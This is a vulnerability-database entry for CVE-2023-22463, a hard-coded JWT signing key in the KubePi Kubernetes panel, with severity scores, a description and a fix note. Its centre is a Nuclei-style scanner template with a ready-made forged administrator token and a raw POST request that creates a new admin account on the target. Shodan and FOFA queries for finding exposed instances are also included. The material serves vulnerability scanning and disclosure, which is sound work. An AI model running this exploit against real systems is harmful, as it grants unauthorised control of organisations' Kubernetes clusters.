9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.5 High
AI Score
Confidence
High
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.019 Low
EPSS
Percentile
88.5%
KubePi is a k8s panel. The jwt authentication function of KubePi through version 1.6.2 uses hard-coded Jwtsigkeys, resulting in the same Jwtsigkeys for all online projects. This means that an attacker can forge any jwt token to take over the administrator account of any online project. Furthermore, they may use the administrator to take over the k8s cluster of the target enterprise. `session.go`, the use of hard-coded JwtSigKey, allows an attacker to use this value to forge jwt tokens arbitrarily. The JwtSigKey is confidential and should not be hard-coded in the code.
id: CVE-2023-22463
info:
name: KubePi JwtSigKey - Admin Authentication Bypass
author: DhiyaneshDK
severity: critical
description: |
KubePi is a k8s panel. The jwt authentication function of KubePi through version 1.6.2 uses hard-coded Jwtsigkeys, resulting in the same Jwtsigkeys for all online projects. This means that an attacker can forge any jwt token to take over the administrator account of any online project. Furthermore, they may use the administrator to take over the k8s cluster of the target enterprise. `session.go`, the use of hard-coded JwtSigKey, allows an attacker to use this value to forge jwt tokens arbitrarily. The JwtSigKey is confidential and should not be hard-coded in the code.
impact: |
Successful exploitation of this vulnerability could lead to unauthorized access and control of the Kubernetes cluster.
remediation: The vulnerability has been fixed in 1.6.3. In the patch, JWT key is specified in app.yml. If the user leaves it blank, a random key will be used. There are no workarounds aside from upgrading.
reference:
- https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/webapp/KubePi/KubePi%20JwtSigKey%20%E7%99%BB%E9%99%86%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E%20CVE-2023-22463.md
- https://nvd.nist.gov/vuln/detail/CVE-2023-22463
- https://github.com/KubeOperator/KubePi/blob/da784f5532ea2495b92708cacb32703bff3a45a3/internal/api/v1/session/session.go#L35
- https://github.com/KubeOperator/KubePi/commit/3be58b8df5bc05d2343c30371dd5fcf6a9fbbf8b
- https://github.com/KubeOperator/KubePi/releases/tag/v1.6.3
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-22463
cwe-id: CWE-798
epss-score: 0.02033
epss-percentile: 0.88693
cpe: cpe:2.3:a:fit2cloud:kubepi:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: fit2cloud
product: kubepi
shodan-query: html:"kubepi"
fofa-query: "kubepi"
tags: cve,cve2023,kubepi,k8s,auth-bypass,fit2cloud
variables:
name: "{{rand_base(6)}}"
password: "{{rand_base(8)}}"
email: "{{randstr}}@{{rand_base(5)}}.com"
nickname: "{{rand_base(4)}}"
token: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJuaWNrTmFtZSI6IkFkbWluaXN0cmF0b3IiLCJlbWFpbCI6InN1cHBvcnRAZml0MmNsb3VkLmNvbSIsImxhbmd1YWdlIjoiemgtQ04iLCJyZXNvdXJjZVBlcm1pc3Npb25zIjp7fSwiaXNBZG1pbmlzdHJhdG9yIjp0cnVlLCJtZmEiOnsiZW5hYmxlIjpmYWxzZSwic2VjcmV0IjoiIiwiYXBwcm92ZWQiOmZhbHNlfX0.XxQmyfq_7jyeYvrjqsOZ4BB4GoSkfLO2NvbKCEQjld8"
http:
- raw:
- |
POST /kubepi/api/v1/users HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{token}}
{
"authenticate": {
"password": "{{password}}"
},
"email": "{{email}}",
"isAdmin": true,
"mfa": {
"enable": false
},
"name": "{{name}}",
"nickName": "{{nickname}}",
"roles": [
]
}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"password":'
- '"isAdmin":'
- '"createAt":'
condition: and
- type: word
part: header
words:
- 'application/json'
- type: status
status:
- 200
# digest: 490a00463044022048f769f84bc3e713a4aaf0510d2310cf2fa4c1f267e818f139d8c2c695d75af6022035cac70cbbb1ca8758491a2c026365cf8f96d067cdb375d4f3f2570a28171663:922c64590222798bb761d5b6d8e72950
github.com/KubeOperator/KubePi/blob/da784f5532ea2495b92708cacb32703bff3a45a3/internal/api/v1/session/session.go#L35
github.com/KubeOperator/KubePi/commit/3be58b8df5bc05d2343c30371dd5fcf6a9fbbf8b
github.com/KubeOperator/KubePi/releases/tag/v1.6.3
github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/webapp/KubePi/KubePi%20JwtSigKey%20%E7%99%BB%E9%99%86%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E%20CVE-2023-22463.md
nvd.nist.gov/vuln/detail/CVE-2023-22463
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.5 High
AI Score
Confidence
High
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.019 Low
EPSS
Percentile
88.5%